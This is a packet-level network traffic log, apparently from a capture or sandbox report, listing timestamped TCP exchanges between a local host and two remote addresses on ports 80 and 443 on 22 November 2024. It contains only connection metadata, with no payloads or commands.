Nov 22, 2024 04:12:13.756822109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.756934881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.756947041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.756988049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.757004976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.757771015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.757811069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.757843018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.757884979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.758647919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.758688927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.758769035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.758807898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.759531975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.759574890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.759637117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.759680986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.760423899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.760477066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.760536909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.760579109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.761323929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.761363983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.761437893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.761472940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.762212038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.762253046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.762383938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.762427092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.763089895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.763134003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.763164997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.763206959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.763957977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.763997078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.764070988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.764108896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.764837980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.764892101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.764930964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.764975071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.765724897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.765768051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.765845060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.765881062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.766618013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.766674995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.766720057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.766762018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.767503023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.767544031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.767606020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.767647028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.768409014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.768450975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.768521070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.768563032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.769293070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.769340992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.769412041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.769453049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.770189047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.770229101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.770263910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.770303011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.771039963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.771079063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.771146059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.771184921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.771923065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.771965981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.771970987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.772012949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.772814035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.772866011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.772922993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.772970915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.773698092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.773741007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.773777962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.773818970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.774566889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.774607897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.774668932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.774708033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.775443077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.775485039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.775563002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.775603056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.776334047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.776372910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.776437044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.776475906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.777249098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.777304888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.777323961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.777364969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.778119087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.778162956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.778230906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.778274059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.778985977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.779028893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.779098034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.779135942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.779885054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.779926062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.779964924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.780023098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.780764103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.780807018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.780877113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.780916929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.781650066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.781696081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.781744957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.781785965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.782522917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.782565117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.782654047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.782692909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.783422947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.783466101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.783525944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.783565998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.784280062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.784322023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.784406900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.784449100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.785182953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.785227060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.785310984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.785347939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.786134958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.786176920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.786200047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.786241055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.786951065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.786992073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.787065029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.787127018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.787846088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.787904978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.787935972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.787974119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.788744926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.788806915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.788839102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.788881063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.789601088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.789653063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.789691925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.789729118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.790510893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.790545940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.790581942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.790616989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.791377068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.791414022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.791479111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.791513920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.792224884 CET	443	49769	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.792264938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.792315006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.792386055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.792428017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.793169022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.793210983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.793258905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.793298960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.794037104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.794080019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.794131994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.794173002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.794909954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.794951916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.795022964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.795062065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.795794010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.795833111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.795893908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.795937061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.796683073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.796730042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.796843052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.796883106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.797574997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.797619104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.797703028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.797743082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.798471928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.798532963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.798564911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.798604012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.799338102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.799357891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.799385071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.799973011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.800005913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.800005913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.800059080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.800100088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.800833941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.800889969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.800934076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.800971985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.801039934 CET	49769	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.801100016 CET	443	49769	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.801453114 CET	49769	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.801466942 CET	443	49769	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.801769018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.801810026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.801884890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.801922083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.802613974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.802659035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.812199116 CET	49771	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.812252998 CET	443	49771	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.812338114 CET	49771	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.812477112 CET	49771	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:13.812495947 CET	443	49771	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:13.957600117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.957679033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.957747936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.957797050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.957945108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.957993031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.958107948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.958164930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.958228111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.958267927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.959050894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.959091902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.959124088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.959162951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.959903955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.959944010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.959965944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.960005999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.960782051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.960828066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.960895061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.960937023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.961678982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.961728096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.961788893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.961827993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.962549925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.962591887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.962743044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.962785959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.963449001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.963496923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.963537931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.963577032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.964312077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.964354038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.964426994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.964462996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.965209961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.965250969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.965378046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.965419054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.966100931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.966140032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.966204882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.966248989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.966970921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.967014074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.967082977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.967119932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.967845917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.967896938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.967945099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.967988014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.968744993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.968787909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.968869925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.968924046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.969613075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.969665051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.969727039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.969775915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.970480919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.970524073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.970604897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.970643997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.971389055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.971435070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.971508026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.971550941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.972297907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.972340107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.972410917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.972450018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.973162889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.973203897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.973242998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.973282099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.974033117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.974078894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.974140882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.974184036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.974935055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.974987030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.975040913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.975080013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.975806952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.975852966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.975899935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.975943089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.976710081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.976751089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.976769924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.976809025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.977583885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.977623940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.977705002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.977741957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.978462934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.978508949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.978547096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.978589058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.979351044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.979420900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.979464054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.979502916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.980235100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.980278969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.980344057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.980393887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.981111050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.981152058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.981242895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.981287003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.982003927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.982055902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.982116938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.982158899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.982891083 CET	80	49760	31.41.244.11	192.168.2.4
